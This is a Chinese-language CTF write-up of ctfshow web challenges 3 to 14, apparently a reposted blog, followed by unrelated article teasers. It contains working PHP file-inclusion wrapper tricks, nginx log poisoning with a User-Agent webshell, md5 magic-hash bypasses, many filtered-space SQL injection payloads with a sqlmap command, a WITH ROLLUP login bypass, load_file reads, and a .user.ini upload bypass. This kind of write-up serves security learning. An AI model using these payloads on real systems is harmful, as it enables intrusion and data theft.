ctfshow web系列

ops/2024/11/1 20:10:42/

声明:

本文章只适用于网络安全交流与学习,请读者遵循网络安全法,若读者从事一些与网络安全不相关的事情,结果均与本人无关!!!

是ctfshow的web题:https://www.ctf.show/

web3:

开局提示使用php include get url include()函数是通过get请求来接受一个url参数,所以我们可以传递一个url参数

  • 使用php将系统代码ls传入进去
  • 使用php伪协议 可以利用文件包含漏洞

  • 当前目录下面有一个ctf_go_go_go的文件

利用文件包含漏洞,去访问ctf_go_go_go 找到了flag值

  • php中的文件包含的常见的函数有以下4种:
  1. require():找不到被包含的文件会产生致命的错误,并且停止脚本运行
  2. include():找不到被包含的文件只会产生警告,脚本继续执行
  3. require_once():与require()类似,唯一的区别就是如果该文件已经被包含,则不会被再次包含
  4. include_once():与include()类似唯一的区别就是如果该文件已经被包含,则不会被再次包含

注意:

  • include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

强调:

这里重点是使用了一个PHP伪协议,使用input读取 直接在get请求后面输入要执行的命令即可

当enctype=”multipart/form-data” 的时候 php://input 是无效的

当input输入无效的时候,可以使用filter

  • 例如:

php://filter/read=convert.base64-encode/resource=index.php 使用base64加密,将index.php的文件读取出来 这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。 php://filter/resource=index.php 筛选过滤的数据流:index.php

WEB4

同理:

存在一个文件包含,还是使用php伪协议 input执行系统命令

但是这里出来400 并没有成功,可能是后端对input函数做了限制

相应头是nginx服务器,所以可以读区nginx的日志文件

?url=/var/log/nginx/access.log

我们可以直接用php来输入命令来看日志变化情况

这里日志会不断的变化,我们可以在ua头写入一句话,getshell即可

强调:

这里将input协议进行了过滤可以通过nginx的日志来利用,可以写入一句话,通过一句话getshell,也可以使用php调用系统命令找到flag的路径去查看

web5

注意:

  • ctype_alpha()这个函数用于检测输入的字符串中是否包含字母,是则返回true,不是则返回flase
  • is_numeric()函数用于检测变量是否为数字或者数字字符串,是这返回true,否这返回flase

经过代码审计得到,需要用get请求传入v1和v2两个参数.并且v1只能是字母 、v2只能是数字或者数字字符串 并且两个的md5还必须相等

  • md5是一种信息摘要算法,一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值,用来确保信息传输完整一致性。
  • 所以不管使用什么算法得到的md5值都是固定的128位

php在处理字符串时会把每一个以“0E”开头的哈希值都解释为0 所以确保v1 v2 输入的两个hash值都是0e开头都能解释为0 而满足条件

v1=QNKCDZO v2=240610708 所以使用这两个就可以,将其构造成get请求传入即可

强调:

重点在于代码审计,然后需要利用md5的加密机制0E开头的md5会被默认识别位为0 则满足if语句,所以执行生成flag值

web6:

注意:

  • 先来测试是否有注入:

  • 爆了一个注入错误

  • 那就是做了一些过滤,将空格改成/**/试一下

'/**/or/**/1=1/**/# 这里用万能密码测试发现可以出来 这里找到了注入点 
可以直接sqlmap一把梭 
sqlmap --data="username=1&password=1" -p "username" --tamper="space2comment.py" -u https://c6b2267a-70dd-4fb8-91f9-ae5e31bcef5c.challenge.ctf.show/ --dump #--data即用post方式 -p 用来指定要测试的参数 --tamper可以指定使用的脚本 space2comment.py tamper调用space2comment.py脚本的时候SQLMAP检测目标时使用的payload中空格会被替换成/**/. --dump是获取所有内容

这里使用sqlmpa直接就拿下

我们可以手动来测试一下,使用手工注入来找flag值 测试列数

'/**/or/**/1=1/**/order/**/by/**/1# 
'/**/or/**/1=1/**/order/**/by/**/2# 
'/**/or/**/1=1/**/order/**/by/**/3# 
'/**/or/**/1=1/**/order/**/by/**/4#  #这里第四个字段是没有参数的,所以一共就只有3列了

找到列数3列开始找回显位置

‘/**/or/**/1=1'/**/union/**/select/**/1,2,3/**/#

查找数据库名 数据表和字段:

‘/**/or/**/1=1'/**/union/**/select/**/1,database(),3/**/# #这里确认数据库名称为web2 
'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'/**/# #来确定web库中存在的表 #通过查询information_schema.tables,可以获取当前数据库中所有表的详细信息 #确定了数据库中的表有 user flag等 
'/**/or/**/1=1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'/**/# #information_schema.column,可以获取当前数据库中指定的数据表中的字段 #确定了web2库中flag表中的字段有flag 
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/web2.flag/**/# #查询web2库中flag表中的falg字段中的内容 
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag/**/# #两个命令都可以使用 因为目前是web2的数据库所以不用指定数据库名称,如果要查询别的数据库中的表中的字段的内容,这需要指定数据库的名称

强调:

主要是sql inject的利用,找到注入点以后采用sql语句进行即可,需要将空格转换为/**/

web7:

注意:

看到三个目录,点开以后id分别为1,2,3

这里判断注入点

这里就是同理了,将空格做了过滤,使用/**/绕过空格即可

使用sql语句即可找到

10/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag")

整体思路同上

强调:

要注意将空格做了过滤,需要使用/**/来绕过,可以先写sql语句然后再将空格全部换成/**/即可

web8 9

注意:

8是一个盲注 过滤了很多东西,需要用python写一个脚本,手注太复杂,费时费力,由于代码基础较弱所以没办法写一个教程

9 找了很多办法,是md5绕过,整个过程不是很懂,就不出教程了!

web10:

注意:

点击取消以后

有一个php的文件可以下载

这里是后端源代码

这里分析得到,对select where等进行了过滤,所以不能使用使用这些

分析源码我们得到,先根据用户名查询用户的信息,如果用户名称通过才会对密码进行判断,所以可以直接绕过用户名的过滤条件

'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/# #使用这个即可 
#当我们使用with rollup之后会在查询结果中添加一个额外的行,结果显示总计值 由于with rollup不会对froup 指定的password列进行求和统计所以这里会在最后一行返回的password的值为null,这里我们也不输入密码,所以就导致查询的密码null=null 从而登录成功

强调:

重点设计了一个with rollup的使用,利用这可以达到绕过的目的

web11:

注意:

打开以后代码审计发现,这里将sql语句过滤了,所以这里不能使用注入,但是有一个if语句,如果密码的值与session值做对比

  • 这里就可以利用session和密码都是空进入  
  • 直接食用空密码然后登陆即可得到flag

强调:

这里就是做了一个session验证

  • 在php中,通过$_SESSION全局数组来获取和设置session,首先调用session_start()来启动session
  • session是用户首次访问网站的时候,服务器生成的一个唯一的绘画标识,存储在用户的cookie中,每次访问的时候,浏览器都会自动将这个cookie发送到服务器端并且如果关闭了浏览器cookie中的session值也会被清除

web12

注意:

前端代码中提示使用?cmd

  • 使用phpinfo();后段代码会当作php代码执行,所以这里可以代码执行

这里可以看到nginx的日志文件

可以使用burp在ua头中注入一句话

  • 用中国蚁剑上线成功

  • 可是这里没有权限

  • 可以使用蚁剑的插件来绕过disable_function(这里可以使用蚁剑自带的插件市场下载,但是这里好像需要科学上网,如果师傅们这里下载不了可以去github找找方法)

  • 成功拿下

强调:

当可以用命令去执行php代码的时候,可以考虑考虑显示日志文件 然后利用日志来执行php恶意代码从而getshell

web13:

注意:

这里很明显就是文件上传漏洞了

  • 目录扫描找到了.bak的备份文件

这里写到了绕过规则

  1. 文件大小要小于24个字节
  2. 名字要少于9个字节
  3. 后缀名要小于3个字节并且如果后缀名中有php就会过滤
  • 这里可以先传入.usr.ini文件,然后在传入一个xx.txt文件,让它解析php语句即可
  • .usr.ini中写入:auto_append_file=xx.txt(会直接执行txt中的php语句)

在.usr.ini中设置了文件名,就会在任意一个页面中将该文件包含进去

  • xx.txt文件中用get传入一个一句话

然后使用一句话传参使用print_r(glob(‘*’)); 打印出所有的内容

然后使用highlight_file()函数将php代码显示到当前页面

强调:

这里注意合理使用文件上传的漏洞,当存在过滤的时候可以利用文件包含的漏洞配合文件上传使用,传入一个非php的文件,利用文件包含漏洞,来解析php代码

web14

注意:

看到让我们使用get请求用c去传入参数,这里给了一个switch语句,当我们输入3的时候会跳出switch循环执行highlight_file这个函数

找到了一个文件,我们可以去访问看一下

一个登录框而且是使用query来传参

尝试注入

  1. query=1,弹窗出一个admin
  2. 更改query=2,弹窗一个gtf1y
  3. 提交query=2-1,弹出admin
-1/**/union/**/select/**/1/**/# 
-1/**/union/**/select/**/1,2/**/#

这里只有能回显1位,并且第二个回显为空

这里知道了有1个回显

利用这个回显来查询数据库名称和数据表以及字段

-1/**/union/**/select/**/database()/**/# #得到数据库名称是web 
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web'/**/# #但是这里并没有查询到结果

原来是这里对infomation_mation.table和information.cloumns 进行了过滤

可以使用``过滤(这是我找的一个师傅的解决办法,这里应该也可以使用别的方法,各位师傅们可以试试)

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'/**/# #得到表名为content 
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'/**/# #字段为id username password 
-1/**/union/**/select/**/group_concat(id,'~',username,'~',password)/**/from/**/content/**/#

这里字段内容说到有一个secret

开始代码中写到了include secret.php 这里就是提示我们使用secret.php这个文件

但是这里并没有我们想要的结果而且源码中也没有

所以这里include这个参数给我们提示,我们可以去利用select语句去看secret.php这个文件

一般web服务的目录文件是/var/www/html 所以我们可以直接去load_file 

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')/**/#

这里原来页面是没什么变化,可是源码中有了新的变化

提示我们flag路径是/real_flag_is_here

-1/**/union/**/select/**/load_file('/real_flag_is_here')/**/#

这里我们就找到了ctf,它是存放在源码中的

强调:

要代码审计找到漏洞点,还要多去查看源码中的内容,往往有时候源码中的内容是比较重要的一部分

结语:

出一个web系列的ctf,供各位师傅们借鉴参考!!


http://www.ppmy.cn/ops/130224.html

相关文章

代码-画图函数示例

热力图 import matplotlib.pyplot as plt import seaborn as sns import numpy as npdef create_heatmap(people, categories, dataNone, title热力图, xlabel类别, ylabel人员,value_range(0.6, 0.95), figsize(10, 6),cmapYlOrRd, decimal_places3):"""创建热…

后端:Spring-1

文章目录 1. 了解 spring(Spring Framework)2. 基于maven搭建Spring框架2.1 纯xml配置方式来实现Spring2.2 注解方式来实现Spring3. Java Config类来实现Spring 2.4 总结 1. 了解 spring(Spring Framework) 传统方式构建spring(指的是Spring Framework)项目,导入依…

基于微信小程序实现信阳毛尖茶叶商城系统设计与实现

作者简介:Java领域优质创作者、CSDN博客专家 、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验,被多个学校常年聘为校外企业导师,指导学生毕业设计并参与学生毕业答辩指导,…

Python中的文件I/O操作

在Python编程中,文件I/O(输入/输出)是一个重要的主题,涉及如何读取和写入文件。无论是处理文本文件还是二进制文件,Python提供了简洁易用的接口。本文将介绍如何在Python中进行文件I/O操作,包括读取、写入和…

若依-侧边栏开关按钮禁用,侧边栏始终保持展开

若依框架,当首页为echarts图时,侧边栏展开关闭echarts会超出 解决思路: 当菜单为首页时,侧边栏开关按钮禁用,侧边栏始终保持展开 \src\store\modules\app.jstoggleSideBar(withoutAnimation, typeVal) {if (typeVal …

如何保护网站安全

1. 使用 Web 应用防火墙(WAF) 功能:WAF 可以实时检测和阻止 SQL 注入、跨站脚本(XSS)、文件包含等常见攻击。它通过分析 HTTP 流量来过滤恶意请求。 推荐:可以使用像 雷池社区版这样的 WAF,它提…

音乐网站新篇章:SpringBoot Web实现

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…

面向对象高级-static

文章目录 1.1 static修饰成员变量1.2 static 修饰成员变量的应用场景1.3 static 修饰成员方法1.4 工具类来看 static 的应用1.5 static 的注意事项1.6 static 应用(代码块)1.7 static应用(单例设计模式) static 读作静态&#xff…